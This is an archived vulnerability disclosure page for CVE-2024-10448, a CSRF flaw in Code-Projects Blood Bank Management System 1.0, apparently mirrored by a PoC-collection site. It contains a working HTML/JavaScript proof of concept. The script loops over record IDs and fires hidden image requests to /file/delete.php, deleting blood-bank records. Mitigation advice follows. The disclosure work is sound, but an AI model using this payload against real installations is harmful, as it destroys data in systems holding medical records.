Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-10448 PoC — Code-Projects Blood Bank Management System 跨站请求伪造漏洞

Source
Associated Vulnerability
Title:Code-Projects Blood Bank Management System 跨站请求伪造漏洞 (CVE-2024-10448)
Description:Code-Projects Blood Bank Management System是Code-Projects开源的一个血库管理系统。 Code-Projects Blood Bank Management System 1.0版本存在跨站请求伪造漏洞,该漏洞源于文件/file/delete.php的参数bid会导致跨站请求伪造。
Description
Blood bank CSRF Attack POC
Readme

## **Affected Version:**
- **BloodBank Management System**: 1.0

## **Vulnerability Information:**
- **Vulnerability Type:** Cross Site Request Forgery (CSRF)
- **Severity:** HIGH
- **Status:** Unpatched

## **Vulnerable Endpoint:**
- **Path:** `/file/delete.php?bid=`

## **Vulnerability Description:**
A **Cross Site Request Forgery (CSRF)** vulnerability was discovered in the **blood request functionality** of the BloodBank Management System. This flaw occurs when sending a `delete` request to this path `/file/delete.php?bid=` allowing the `bid` parameter to select a record to delete on the application. The `bids` however are dynamic depending on adding the blood samples, so to make the request successfull i used a javascript generated image tag within a loop. 

Successful exploitation can lead to **unauthorized actions ie deletion of data** on behalf of the victim. Additionally, this could be exploited by visiting malicious websites with the payload.

---

## **Proof of Concept (PoC):**

Below is an example of a **CSRF POC Attack** that deletes the `available blood samples`  via the `bid` parameter, host the file on an attacker controlled domain in my case i was using `localhost`:

```html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC</title>
</head>
<body>
    <h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
    <script>
        // Define the target URL where the Blood Bank System is hosted
        const targetUrl = "http://localhost/bloodbank/file/delete.php";

        // Loop through possible bid values (0 to 20) can be increased to as much as possible :)
        for (let bid = 0; bid <= 20; bid++) {
            // Create an image element for each bid value to send the GET request
            let img = document.createElement("img");
            img.src = `${targetUrl}?bid=${bid}`;
            img.style.display = "none";  // Hide the image from view
            document.body.appendChild(img);
        }
    </script>
</body>
</html>

```

---


## Video POC

- ![video link ](./bloodbank-delete-csrf.mp4)

## **Impact:**
- **Data Manipulation:** Attackers could modify the content displayed to users.
- **Reputational Damage:** Users may lose trust in the system due to malicious behavior.

---

## **Mitigation Recommendations:**
1. **Use CSRF Token** Implement mechanism to deter cross domain access or put `csrf tokens` in your request and also avoid `GET` requests from making state changing actions

---
File Snapshot

[4.0K] /data/pocs/86608caf7e3452d351dbac80bdffec4c16ebd322 ├── [5.3M] bloodbank-delete-csrf.mp4 ├── [ 734] poc.html └── [2.4K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.